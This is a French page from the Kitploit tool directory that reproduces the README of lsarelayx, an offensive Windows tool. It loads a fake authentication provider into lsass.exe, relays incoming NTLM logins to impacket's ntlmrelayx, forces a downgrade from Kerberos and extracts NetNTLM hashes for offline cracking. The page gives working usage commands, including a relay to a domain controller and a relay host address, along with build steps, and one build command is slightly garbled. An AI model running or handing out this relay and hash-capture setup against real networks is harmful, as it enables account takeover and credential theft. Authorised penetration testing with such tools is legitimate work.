Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
lsarelayx — Outil de relais NTLM à l'échelle du système qui intercepte les API d'authentification Windows pour relayer les connexions NTLM entrantes, rétrograder Kerberos et extraire les hachages NetNTLM pour un craquage hors ligne. | Kitploit
Outils/GitHubGitHub/ccob/lsarelayx
Attaques de Mots de PasseExploitationTests d'IntrusionAuthentificationRed Teaming
GitHubccob/lsarelayx

lsarelayx

Outil de relais NTLM à l'échelle du système qui intercepte les API d'authentification Windows pour relayer les connexions NTLM entrantes, rétrograder Kerberos et extraire les hachages NetNTLM pour un craquage hors ligne.

Voir le dépôt
584661il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

lsarelayx

Introduction

lsarelayx est un outil de relais NTLM à l'échelle du système conçu pour relayer les authentifications NTLM entrantes vers l'hôte sur lequel il s'exécute. lsarelayx relaie toute demande d'authentification entrante, y compris SMB. Comme lsarelayx s'intègre dans les flux d'authentification des applications existantes, l'outil tentera également de répondre à la demande d'authentification d'origine après la fin du relais. Cela évitera que l'application/protocole cible affiche des erreurs et fonctionnera normalement pour les utilisateurs finaux s'authentifiant sur l'hôte lsarelayx.

Fonctionnalités

  • Relaie les connexions NTLM à l'échelle du système, y compris SMB, HTTP/HTTPS, LDAP/LDAPS ou toute autre application tierce implémentant les API d'authentification Windows.
  • Lorsque c'est possible, rétrograde les demandes d'authentification Kerberos entrantes en NTLM. Cela amène les clients qui tenteraient traditionnellement une authentification Kerberos à utiliser NTLM en repli.
  • Effectue une requête LDAP pour l'utilisateur relayé afin de récupérer les informations d'appartenance aux groupes et créer le jeton d'authentification correct pour la demande d'origine.
  • Extrait les messages NetNTLM pour un craquage hors ligne.
  • Prend en charge un mode passif qui ne relaie pas et ne fait qu'extraire les hashs NetNTLM capturés (pas de rétrogradation Kerberos dans ce mode).

Comment ça fonctionne

lsarelayx se compose de trois parties. Un fournisseur d'authentification LSA factice implémenté dans liblsarelay.dll, une application console en mode utilisateur comme interface de contrôle, et un nouveau module serveur ntlmrelayx appelé RAW.

liblsarelayx.dll

liblsarelayx.dll est le fournisseur d'authentification LSA chargé par lsarelayx. Son objectif principal est de hooker les packages NTLM et Negotiate pour faciliter la redirection des demandes d'authentification vers lsarelayx via un pipe nommé local pour le relais et l'extraction des hashs NetNTLM. liblsarelayx est conçu pour être aussi simple que possible, tout le travail lourd étant effectué par lsarelayx.

lsarelayx.exe

lsarelayx.exe est l'application console principale utilisée pour charger le fournisseur d'authentification LSA personnalisé (liblsarelayx.dll), écouter les jetons NTLM et Negotiate entrants provenant du fournisseur d'authentification et les relayer vers le module serveur RAW de ntlmrelayx. L'outil effectue également les requêtes LDAP utilisées pour capturer les informations de groupe pour les utilisateurs relayés et les renvoyer au fournisseur d'authentification LSA.

Module RAW ntlmrelayx

impacket's ntlmrelayx a implémenté un travail important dans la création d'attaques de relais et continuera de s'améliorer et d'ajouter d'autres attaques à l'avenir. Pour tirer parti de cela plutôt que de réimplémenter les attaques directement dans lsarelayx, un nouveau module serveur ntlmrelayx appelé RAW a été créé. Actuellement, une PR est ouverte sur GitHub qui implémente le module serveur RAW. Le module serveur RAW est indépendant du protocole et est conçu pour accepter les messages NTLM bruts directement à partir de logiciels tiers comme lsarelayx.

Jusqu'à ce que la PR soit fusionnée dans le dépôt principal d'impacket, vous pouvez utiliser cette version

Utilisation

Mode actif

D'abord, démarrez le module serveur RAW de ntlmrelayx pour écouter les messages NTLM bruts transmis par lsarelayx.

root@kitploit:~
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan

Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

lsarelayx lui-même nécessite des privilèges d'administrateur local pour s'exécuter. Pour exécuter en mode relais actif, l'adresse de l'hôte où ntlmrelayx exécute le module serveur RAW doit être spécifiée. Le port par défaut est 6666. Cela peut être remplacé par l'argument --port, mais assurez-vous d'avoir également remplacé le port côté ntlmrelayx en utilisant l'argument --raw-port.

root@kitploit:~
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

Mode passif

Vous pouvez également exécuter lsarelayx en mode passif en lançant sans aucun argument

root@kitploit:~
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

Mises en garde

Une fois que la DLL liblsarelayx a été chargée dans lsass, vous ne pouvez actuellement pas la décharger en raison des limitations de fonctionnement des plugins LSA. Le client peut être fermé, ce qui mettra la DLL en état dormant jusqu'à ce que le client redémarre, mais la DLL restera utilisée jusqu'à un redémarrage.

Étant donné que le plugin LSA n'est pas réellement un plugin authentique, il est prévu d'implémenter un chargeur réflexif à l'intérieur du plugin qui pourra ensuite être arrêté et redémarré à volonté, mais c'est un exercice pour un autre jour.

Le développement a été effectué sur Windows 10 et Server 2016. Un test rapide a été effectué sur Windows Server 2012 R2 qui a fonctionné, mais le calcul des offsets pour le hooking peut échouer sur 2012 (cela peut être fourni manuellement en utilisant lookuppackage-hint=, si vous vous trompez, Windows redémarrera). Aucun test n'a été effectué sur les versions antérieures à Windows 10 côté bureau, et rien n'a été testé sur Server 2019.

!!ATTENTION!!

liblsarelayx.dll sera chargée dans le processus critique lsass.exe. Si liblsarelayx.dll contient des bugs qui entraînent un crash de lsass.exe, l'hôte REDÉMARRERA après 60 secondes. Bien que tous les efforts aient été faits pour écrire un code sans bugs, je ne peux rien promettre. Ne venez pas pleurer si vous avez fait tomber un client du Fortune 500 en faisant planter le serveur de fichiers chargé après avoir utilisé lsarelayx.

Compilation

Docker

Si vous avez Docker installé, c'est l'option la plus rapide. Elle utilise l'image ccob/windows_cross avec toutes les dépendances de compilation préinstallées.

Docker sur Windows (Powershell)

root@kitploit:~
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"

Docker sur Linux

root@kitploit:~
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"

Linux

Sous Linux, nous utilisons une chaîne d'outils CMake avec le compilateur MinGW. Ceux-ci doivent être installés au préalable. Pour le composant managé, assurez-vous que l'outil en ligne de commande dotnet est également installé à partir de .NET Core.

root@kitploit:~
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip

Windows (Powershell)

Windows nécessitera une configuration complète de CMake, MinGW et Visual Studio avant même de tenter de compiler, c'est la façon la plus pénible de compiler si vous n'avez pas d'environnement de développement installé.

root@kitploit:~
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip
Télécharger l’outil